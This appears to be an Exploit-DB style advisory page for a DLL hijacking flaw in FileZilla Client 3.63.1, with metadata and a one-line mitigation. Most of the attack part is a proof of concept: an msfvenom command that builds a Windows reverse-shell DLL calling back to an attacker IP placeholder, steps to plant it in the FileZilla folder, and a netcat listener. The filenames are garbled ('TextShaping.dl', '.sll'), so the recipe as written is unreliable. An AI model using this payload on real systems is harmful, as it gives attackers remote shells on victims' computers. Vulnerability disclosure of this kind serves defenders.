FileZilla Client 3.63.1 - 'TextShaping.dl' DLL Hijacking

vendor:

Filezilla FTP Client

by:

Bilal Qureshi

7.5

CVSS

HIGH

DLL Hijacking

427

CWE

Product Name: Filezilla FTP Client

Affected Version From: 3.63.1

Affected Version To: 3.63.1

Patch Exists: NO

Related CWE:

CPE: a:filezilla:filezilla_ftp_client

Metasploit:

Other Scripts:

Platforms Tested: Windows 10 Pro 64-bit (10.0, Build 19044)

2023

FileZilla Client 3.63.1 – ‘TextShaping.dl’ DLL Hijacking

FileZilla is a free and open-source, cross-platform FTP application, consisting of FileZilla Client and FileZilla Server. Clients are available for Windows, Linux, and macOS. Both server and client support FTP and FTPS, while the client can in addition connect to SFTP servers. DLL Library named TextShaping.dll is not present at the FileZilla folder, this file can be loaded with the app. Make malicious .dll file via msfvenom and place at the destination folder. Start listener via nc and execute FileZilla.exe.

Mitigation:

Ensure that the application is not vulnerable to DLL hijacking by verifying that all the DLLs used by the application are present in the application directory.

Source

Exploit-DB raw data:

#---------------------------------------------------------
# Title: FileZilla Client 3.63.1 - 'TextShaping.dl' DLL Hijacking
# Date: 2023-02-14
# Author: Bilal Qureshi
# Vendor: https://filezilla-project.org/
# Version: 3.63.1
# Tested on: Windows 10 Pro 64-bit (10.0, Build 19044)
#---------------------------------------------------------


Description:
FileZilla is a free and open-source, cross-platform FTP application, consisting of FileZilla Client and FileZilla Server. Clients are available for Windows, Linux, and macOS. Both server and client support FTP and FTPS, while the client can in addition connect to SFTP servers.


DLL Library named TextShaping.dll is not present at the FileZilla folder, this file can be loaded with the app.
Make malicious .dll file via msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=7777 -f dll -o TextShaping.sll

place at the destination folder

start listener via nc

nc -lvp 7777

C:\PRogram Files\FileZilla FTP Client>
C:\PRogram Files\FileZilla FTP Client>